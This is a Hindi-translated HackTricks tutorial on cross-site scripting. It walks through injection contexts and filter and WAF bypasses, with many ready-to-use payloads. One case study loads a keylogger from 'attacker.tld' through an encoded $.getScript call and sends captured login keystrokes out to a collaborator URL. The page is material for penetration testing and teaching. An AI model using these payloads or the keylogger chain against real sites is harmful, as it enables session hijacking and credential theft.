%.*s
XSS (Cross Site Scripting)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
कार्यप्रणाली
- जांचें कि कोई भी मान जिसे आप नियंत्रित करते हैं (parameters, path, headers?, cookies?) क्या HTML में प्रतिबिंबित हो रहा है या JS कोड द्वारा उपयोग किया जा रहा है।
- पता करें कि इसे किस context में प्रतिबिंबित/उपयोग किया जा रहा है।
- यदि reflected
- जांचें आप किन प्रतीकों का उपयोग कर सकते हैं और उसके अनुसार payload तैयार करें:
- raw HTML में:
- क्या आप नए HTML tags बना सकते हैं?
- क्या आप events या attributes का उपयोग कर सकते हैं जो
javascript:प्रोटोकॉल को सपोर्ट करते हैं? - क्या आप सुरक्षा उपायों को bypass कर सकते हैं?
- क्या HTML सामग्री किसी client side JS एंजिन (AngularJS, VueJS, Mavo…) द्वारा व्याख्यायित हो रही है, जिसे आप Client Side Template Injection का दुरुपयोग कर सकते हैं।
- यदि आप ऐसे HTML tags नहीं बना सकते जो JS कोड चलाएँ, तो क्या आप Dangling Markup - HTML scriptless injection का दुरुपयोग कर सकते हैं?
- किसी HTML tag के अंदर:
- क्या आप attribute से निकलकर raw HTML context में जा सकते हैं?
- क्या आप नए events/attributes बना सकते हैं जो JS कोड चलाएँ?
- क्या वह attribute जिसमें आप फंसे हुए हैं JS निष्पादन का समर्थन करता है?
- क्या आप सुरक्षा उपायों को bypass कर सकते हैं?
- JavaScript code के अंदर:
- क्या आप
<script>टैग से बाहर निकल सकते हैं? - क्या आप string से बाहर निकलकर अलग JS कोड चला सकते हैं?
- क्या आपका इनपुट template literals `````` में है?
- क्या आप सुरक्षा उपायों को bypass कर सकते हैं?
- Javascript function जिसे execute किया जा रहा है
- आप उस function का नाम संकेत कर सकते हैं जिसे execute किया जाना है। उदाहरण:
?callback=alert(1) - यदि used:
- आप एक DOM XSS का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका नियंत्रित इनपुट किसी sink द्वारा उपयोग किया जा रहा है।
जब आप किसी जटिल XSS पर काम कर रहे हों तो यह जानना उपयोगी हो सकता है कि:
प्रतिबिंबित मान
एक XSS को सफलतापूर्वक शोषित करने के लिए सबसे पहले आपको वह ढूँढना होगा जो आपके द्वारा नियंत्रित किया गया मान है जो वेब पेज में प्रतिबिंबित हो रहा है।
- Intermediately reflected: यदि आप पाते हैं कि किसी parameter या path का मान वेब पेज में प्रतिबिंबित हो रहा है तो आप Reflected XSS का शोषण कर सकते हैं।
- Stored and reflected: यदि आप पाते हैं कि आपका नियंत्रित मान सर्वर में सेव हो रहा है और हर बार जब आप एक पेज एक्सेस करते हैं तब प्रतिबिंबित होता है तो आप Stored XSS का शोषण कर सकते हैं।
- Accessed via JS: यदि आप पाते हैं कि आपका नियंत्रित मान JS का उपयोग करके access किया जा रहा है तो आप DOM XSS का शोषण कर सकते हैं।
संदर्भ
XSS का शोषण करने की कोशिश करते समय सबसे पहले यह जानना जरूरी है कि आपका इनपुट कहाँ प्रतिबिंबित हो रहा है। संदर्भ के आधार पर, आप विभिन्न तरीकों से arbitrary JS कोड execute कर पाएँगे।
Raw HTML
यदि आपका इनपुट raw HTML पेज पर प्रतिबिंबित होता है तो आपको JS कोड execute करने के लिए कुछ HTML tag का दुरुपयोग करना होगा: <img , <iframe , <svg , <script … ये कुछ ही संभव HTML tags हैं जिन्हें आप उपयोग कर सकते हैं।
साथ ही, ध्यान रखें Client Side Template Injection।
HTML टैग के attribute के अंदर
यदि आपका इनपुट किसी टैग के attribute के मान के अंदर प्रतिबिंबित होता है तो आप प्रयास कर सकते हैं:
- attribute और tag से बाहर निकलने के लिए (तब आप raw HTML में होंगे) और नया HTML tag बनाकर उसे दुरुपयोग करें:
"><img [...] - यदि आप attribute से बाहर निकल सकते हैं लेकिन tag से नहीं (
>encode या delete किया गया है), तो tag के आधार पर आप ऐसा event बना सकते हैं जो JS कोड चलाए:" autofocus onfocus=alert(1) x=" - यदि आप attribute से बाहर नहीं निकल सकते (
"encode या delete किया जा रहा है), तो उस attribute पर निर्भर करता है जिसमें आपका मान प्रतिबिंबित है और आप पूरे मान को नियंत्रित करते हैं या केवल एक हिस्से को, उसी के अनुसार आप इसका दुरुपयोग कर पाएँगे। उदाहरण के लिए, यदि आपonclick=जैसे event को नियंत्रित करते हैं तो आप उसे क्लिक करने पर arbitrary कोड चलाने के लिए बना सकते हैं। एक और दिलचस्प उदाहरणhrefattribute है, जहाँ आपjavascript:प्रोटोकॉल का उपयोग कर arbitrary कोड चला सकते हैं:href="javascript:alert(1)" - यदि आपका इनपुट “unexpoitable tags” के अंदर प्रतिबिंबित है तो आप WAFs के पीछे भी vuln का दुरुपयोग करने के लिए
accesskeyट्रिक आजमा सकते हैं (इसके लिए आपको किसी प्रकार की social engineering की आवश्यकता होगी):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
एक corporate SSO login पेज ने OAuth service पैरामीटर को <a id="forgot_btn" ...> के href attribute के अंदर प्रतिबिंबित किया। भले ही < और > HTML-encoded थे, double quotes encode नहीं थे, इसलिए attacker attribute को बंद कर सकते थे और उसी element को handler inject करने के लिए reuse कर सकते थे जैसे " onfocus="payload" x=".
- Handler inject करना: साधारण payloads जैसे
onclick="print(1)"ब्लॉक हो रहे थे, लेकिन WAF केवल inline attributes में पहले JavaScript statement का निरीक्षण कर रहा था। एक harmless expression को parentheses में लपेटकर और फिर semicolon लगाने से असली payload execute हो गया:onfocus="(history.length);malicious_code_here". - Auto-trigger करना: Browsers किसी भी element को focus करते हैं जिसका
idfragment से मेल खाता है, इसलिए exploit URL के अंत में#forgot_btnजोड़ने से anchor page load पर focus हो जाता है और handler बिना क्लिक के चल जाता है। - Inline stub को छोटा रखना: लक्ष्य पहले से ही jQuery भेजता था। handler को केवल
$.getScript(...)के माध्यम से एक request bootstrap करने की आवश्यकता थी जबकि पूरा keylogger attacker के सर्वर पर रखा गया था।
Quotes के बिना strings बनाना
Single quotes URL-encoded लौटाए जा रहे थे और escaped double quotes ने attribute को बिगाड़ दिया, इसलिए payload ने हर string को String.fromCharCode से जनरेट किया। एक helper function किसी भी URL को char codes में बदलना आसान बनाता है इससे पहले कि उसे attribute में paste किया जाए:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
परिणामी attribute इस तरह दिखता था:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
क्यों यह credentials चुराता है
बाहरी script (attacker-controlled host या Burp Collaborator से लोड हुआ) ने document.onkeypress को hook किया, keystrokes को buffer किया, और हर सेकंड new Image().src = collaborator_url + keys भेजा। क्योंकि XSS केवल unauthenticated users के लिए फायर करता है, संवेदनशील action स्वयं login form है — attacker usernames और passwords को keylog करता है भले ही victim कभी “Login” न दबाए।
Angular का एक अजीब उदाहरण जहाँ XSS execute होता है अगर आप class name control करते हैं:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript code के अंदर
इस मामले में आपका इनपुट किसी HTML पेज के <script> [...] </script> टैग्स के बीच, एक .js file के अंदर या किसी attribute में जो javascript: प्रोटोकॉल का उपयोग कर रहा हो, परिलक्षित होता है:
- यदि यह
<script> [...] </script>टैग्स के बीच परिलक्षित होता है, भले ही आपका इनपुट किसी भी तरह के quotes के अंदर हो, आप</script>इंजेक्ट करके इस context से बाहर निकलने की कोशिश कर सकते हैं। यह इसलिए काम करता है क्योंकि ब्राउज़र पहले HTML टैग्स को पार्स करेगा और फिर कंटेंट को, इसलिए यह नोटिस नहीं करेगा कि आपका इंजेक्ट किया गया</script>टैग HTML कोड के अंदर है। - यदि यह inside a JS string में परिलक्षित होता है और पिछला ट्रिक काम नहीं कर रहा है तो आपको string से exit करना होगा, अपना कोड execute करना होगा और JS कोड को reconstruct करना होगा (यदि कोई error होगा, यह execute नहीं होगा:
'-alert(1)-'';-alert(1)//\';alert(1)//- यदि यह template literals के अंदर परिलक्षित होता है तो आप
${ ... }सिंटैक्स का उपयोग करके embed JS expressions कर सकते हैं:var greetings = `Hello, ${alert(1)}` - Unicode encode वैध javascript code लिखने के लिए काम करता है:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting इस मौके को संदर्भित करता है कि आप functions, variables या classes को उनके उपयोग के बाद declare कर सकें, ताकि आप उन scenarios का दुरुपयोग कर सकें जहाँ एक XSS undeclared variables या functions का उपयोग कर रहा है.
अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
Javascript Function
कई वेब पेज ऐसे endpoints होते हैं जो parameter के रूप में execute करने वाले function का नाम accept करते हैं। Wild में अक्सर मिलने वाला एक सामान्य उदहारण कुछ ऐसा होता है: ?callback=callbackFunc.
यह पता लगाने का एक अच्छा तरीका है कि उपयोगकर्ता द्वारा सीधे दी गई कोई चीज़ execute होने की कोशिश कर रही है या नहीं, param value को modify करना (उदाहरण के लिए ‘Vulnerable’) और console में इस तरह की errors देखना:
.png)
यदि यह vulnerable है, तो आप केवल इस value को भेजकर एक alert trigger कर सकते हैं: ?callback=alert(1)। हालाँकि, अक्सर ये endpoints content को validate करते हैं ताकि केवल letters, numbers, dots और underscores की अनुमति दी जाए ([\w\._])।
हालाँकि, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का उपयोग करके DOM के किसी भी element तक पहुँच सकते हैं:
.png)
इसके लिए कुछ उपयोगी functions:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
आप सीधे trigger Javascript functions को भी आज़मा सकते हैं: obj.sales.delOrders.
हालाँकि, सामान्यत: जो endpoints दिखाए गए फ़ंक्शन को execute करते हैं उनमें बहुत रोचक DOM नहीं होता; उसी origin के अन्य पेज में वह अधिक रोचक DOM होता जिससे और अधिक actions किए जा सकते हैं।
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
यहाँ JS code है जो असुरक्षित तरीके से attacker द्वारा नियंत्रित कुछ data का उपयोग कर रहा है, जैसे location.href। एक attacker इसका abuse करके arbitrary JS code execute कर सकता है।
Universal XSS
ये तरह के XSS कहीं भी पाए जा सकते हैं। ये सिर्फ़ किसी वेब एप्लिकेशन के client exploitation पर निर्भर नहीं करते बल्कि किसी भी context में हो सकते हैं। इस तरह की arbitrary JavaScript execution का उपयोग करके RCE प्राप्त करना, clients और servers में read arbitrary files, आदि किया जा सकता है.
कुछ examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
जब आपका input inside the HTML page पर reflect होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहले आपको यह चेक करना चाहिए कि क्या आप new tags बनाने के लिए < का abuse कर सकते हैं: बस उस कैरेक्टर को reflect करने की कोशिश करें और देखें कि क्या वह HTML encoded हो रहा है या deleted हो रहा है, या बिना बदलाव के reflected without changes हो रहा है। सिर्फ़ आखिरी स्थिति में आप इसे exploit कर पाएँगे.
For this cases also keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
यदि किसी तरह की blacklist का उपयोग किया जा रहा है, तो आप कुछ आसान चालों से इसे bypass करने की कोशिश कर सकते हैं:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > विभिन्न पर्यावरणों के लिए अधिक tiny XSS payload यहाँ पाया जा सकता है और यहाँ.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 Unicode characters which expands to 5: telsr
More of these characters can be found यहाँ.
किस Unicode characters में decomposed होते हैं यह देखने के लिए यहाँ देखें।
Click XSS - Clickjacking
यदि vulnerability का exploit करने के लिए आपको उपयोगकर्ता को prepopulated data के साथ link या form पर क्लिक कराना पड़ता है, तो आप पेज vulnerable होने पर abuse Clickjacking आज़मा सकते हैं।
Impossible - Dangling Markup
यदि आपको लगता है कि JS code चलाने के लिए किसी attribute के साथ HTML tag बनाना असंभव है, तो आप Danglig Markup देखना चाहिए क्योंकि आप JS code चलाए बिना भी vulnerability को exploit कर सकते हैं।
HTML tag के अंदर इंजेक्ट करना
टैग के अंदर/attribute value से बाहर निकलना
यदि आप HTML tag के अंदर हैं, तो सबसे पहले आप tag से बाहर निकलने (escape) की कोशिश कर सकते हैं और JS code चलाने के लिए पिछले सेक्शन में दिए गए कुछ techniques का उपयोग कर सकते हैं।
यदि आप tag से बाहर नहीं निकल पाते, तो आप tag के अंदर नए attributes बनाकर JS code चलाने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ payload का उपयोग करके जैसे कि (नोट कि इस उदाहरण में double quotes attribute से escape करने के लिए उपयोग किए गए हैं, अगर आपका input सीधे tag के अंदर पर प्रतिफलित होता है तो आपको उनकी ज़रूरत नहीं होगी):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
स्टाइल इवेंट्स
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Attribute के भीतर
भले ही आप cannot escape from the attribute (" is being encoded or deleted), यह इस बात पर निर्भर करेगा कि किस attribute में आपका value रिफ्लेक्ट हो रहा है और क्या आप पूरे value को कंट्रोल करते हैं या सिर्फ एक हिस्सा — इससे आप इसे दुरुपयोग कर पाएँगे। उदाहरण के लिए, अगर आप किसी event जैसे onclick= को कंट्रोल करते हैं तो क्लिक होने पर arbitrary code execute करवा पाएँगे।
एक और दिलचस्प उदाहरण attribute href है, जहाँ आप javascript: protocol का उपयोग करके arbitrary code execute कर सकते हैं: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that किसी भी प्रकार का HTML encode मान्य है:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
ध्यान दें कि URL encode भी काम करेगा:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
इवेंट के अंदर Bypass using Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
एट्रिब्यूट के भीतर विशेष प्रोटोकॉल
वहाँ आप कुछ जगहों पर प्रोटोकॉल javascript: या data: का उपयोग करके मनमाना JS कोड निष्पादित कर सकते हैं। कुछ में उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी, कुछ में नहीं।
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
जहाँ आप इन प्रोटोकॉल्स को इंजेक्ट कर सकते हैं
आम तौर पर javascript: प्रोटोकॉल किसी भी टैग में इस्तेमाल किया जा सकता है जो attribute href स्वीकार करता है और अधिकांश उन टैग्स में जो attribute src स्वीकार करते हैं (परन्तु <img में नहीं)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
अन्य obfuscation tricks
इस मामले में HTML encoding और Unicode encoding trick पिछले अनुभाग से भी मान्य हैं क्योंकि आप एक attribute के अंदर हैं।
<a href="javascript:var a=''-alert(1)-''">
इसके अलावा, इन मामलों के लिए एक और अच्छी तरकीब है: यहाँ तक कि अगर आपका इनपुट javascript:... के अंदर URL encoded किया जा रहा है, तो इसे executed होने से पहले URL decoded किया जाएगा। तो, अगर आपको single quote का उपयोग करके string से escape करने की ज़रूरत है और आप देखते हैं कि it’s being URL encoded, तो याद रखें कि यह मायने नहीं रखता, इसे execution समय के दौरान interpreted किया जाएगा और यह एक single quote के रूप में माना जाएगा।
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
ध्यान दें कि यदि आप किसी भी क्रम में दोनों का उपयोग URLencode + HTMLencode करके payload को encode करने की कोशिश करते हैं तो यह नहीं काम करेगा, लेकिन आप इन्हें payload के अंदर मिलाकर उपयोग कर सकते हैं।
Hex और Octal encode को javascript: के साथ उपयोग करना
आप iframe के src attribute के अंदर Hex और Octal encode का उपयोग कर सकते हैं (कम से कम) ताकि HTML tags to execute JS घोषित कर सकें:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
यदि आप किसी arbitrary <a href= टैग में कोई भी URL inject कर सकते हैं जिसमें target="_blank" and rel="opener" attributes मौजूद हों, तो इस व्यवहार को exploit करने के लिए निम्न पेज चेक करें:
on Event Handlers Bypass
सबसे पहले इस पेज को चेक करें (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) उपयोगी “on” event handlers के लिए.
यदि कोई blacklist आपको ऐसे event handlers बनाने से रोक रही है तो आप निम्नलिखित bypasses आज़मा सकते हैं:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS में “Unexploitable tags” (hidden input, link, canonical, meta)
here से अब hidden inputs का दुरुपयोग निम्न के साथ किया जा सकता है:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
और meta tags में:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: आप एक XSS payload inside a hidden attribute निष्पादित कर सकते हैं, बशर्ते आप persuade कर सकें victim को key combination दबाने के लिए। Firefox पर Windows/Linux में key combination है ALT+SHIFT+X और OS X पर यह CTRL+ALT+X है। आप access key attribute में अलग key का उपयोग करके अलग key combination निर्दिष्ट कर सकते हैं। यहाँ vector है:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload कुछ ऐसा होगा: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
इस सेक्शन में पहले से ही विभिन्न encoding का उपयोग कर कई ट्रिक्स बताए जा चुके हैं। वापस जाएँ यह जानने के लिए कि आप इसे कहाँ उपयोग कर सकते हैं:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
पढ़ें Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
पढ़ें the JavaScript bypass blacklist of the following section.
CSS-Gadgets
यदि आपको वेब के बहुत छोटे हिस्से में XSS मिला है जो किसी तरह की interaction की मांग करता है (शायद footer में एक छोटा सा link जिसमें onmouseover element हो), तो आप उस element द्वारा घिरे गए space को modify करने की कोशिश कर सकते हैं ताकि link के trigger होने की सम्भावना अधिक हो।
उदाहरण के लिए, आप element में कुछ styling जोड़ सकते हैं, जैसे: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
लेकिन, अगर WAF style attribute को filter कर रहा है, तो आप CSS Styling Gadgets का उपयोग कर सकते हैं, तो अगर आपको, उदाहरण के लिए
.test {display:block; color: blue; width: 100%}
और
#someid {top: 0; font-family: Tahoma;}
मिलता है, तो आप हमारे link को modify करके इसे इस रूप में ला सकते हैं
<a href=“” id=someid class=test onclick=alert() a=“”>
यह ट्रिक ली गई है: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
ऐसे मामलों में आपका input .js फाइल के JS code में या <script>...</script> टैग्स के बीच, या उन HTML events के भीतर जो JS code execute कर सकते हैं, या उन attributes के बीच जो javascript: protocol स्वीकार करते हैं, reflected inside the JS code होगा।
Escaping <script> tag
यदि आपका code <script> [...] var input = 'reflected data' [...] </script> के भीतर insert किया गया है, तो आप आसानी से </script> टैग को एस्केप कर सकते हैं:
</script><img src=1 onerror=alert(document.domain)>
ध्यान दें कि इस उदाहरण में हमने single quote को भी बंद नहीं किया है। ऐसा इसलिए है क्योंकि HTML parsing पहले browser द्वारा की जाती है, जो पेज एलिमेंट्स की पहचान करता है, script blocks सहित। embedded scripts को समझने और execute करने के लिए JavaScript की parsing केवल बाद में की जाती है।
JS कोड के अंदर
यदि <> sanitised किए जा रहे हैं तो आप जहाँ आपका input located है वहाँ escape the string करके फिर भी execute arbitrary JS कर सकते हैं। यह महत्वपूर्ण है कि आप fix JS syntax करें, क्योंकि अगर कोई errors होंगे तो JS code execute नहीं होगा:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
जब user input किसी quoted JavaScript string के अंदर आ जाता है (उदा., server-side echo into an inline script), तो आप string को terminate करके code inject कर सकते हैं, और syntax को repair करके parsing को valid रख सकते हैं। सामान्य रूपरेखा:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
उदाहरण URL पैटर्न जब vulnerable parameter एक JS string में reflected होता है:
?param=test";<INJECTION>;a="
यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS). जब filters keywords को ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाएँ।
Template literals ``
single और double quotes के अलावा strings बनाने के लिए JS backticks `` को भी स्वीकार करता है। यह Template literals के रूप में जाना जाता है क्योंकि यह ${ ... } सिंटैक्स का उपयोग करके embedded JS expressions को एम्बेड करने की अनुमति देता है.\
इसलिए, यदि आपका इनपुट किसी JS string के भीतर reflected हो रहा है जो backticks का उपयोग कर रही है, तो आप ${ ... } सिंटैक्स का दुरुपयोग करके arbitrary JS code निष्पादित कर सकते हैं:
This can be abused using:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
एन्कोडेड कोड निष्पादन
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
डिलीवेरेबल payloads eval(atob()) और scope से जुड़े नुअंसेस
URLs को छोटा रखने और naive keyword filters को बायपास करने के लिए, आप अपने वास्तविक लॉजिक को base64-encode करके eval(atob('...')) के साथ evaluate कर सकते हैं। यदि simple keyword filtering alert, eval, या atob जैसे identifiers को ब्लॉक करती है, तो Unicode-escaped identifiers का उपयोग करें जो ब्राउज़र में बिल्कुल समान रूप से compile होते हैं लेकिन string-matching filters को चकमा देते हैं:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
महत्वपूर्ण स्कोपिंग सूक्ष्मता: eval() के अंदर declare किए गए const/let block-scoped होते हैं और globals नहीं बनाते; वे बाद की scripts के लिए उपलब्ध नहीं होंगे। आवश्यकता पड़ने पर global, non-rebindable hooks को परिभाषित करने के लिए डायनेमिकली inject किए गए <script> element का उपयोग करें (उदा., to hijack a form handler):
var s = document.createElement('script');
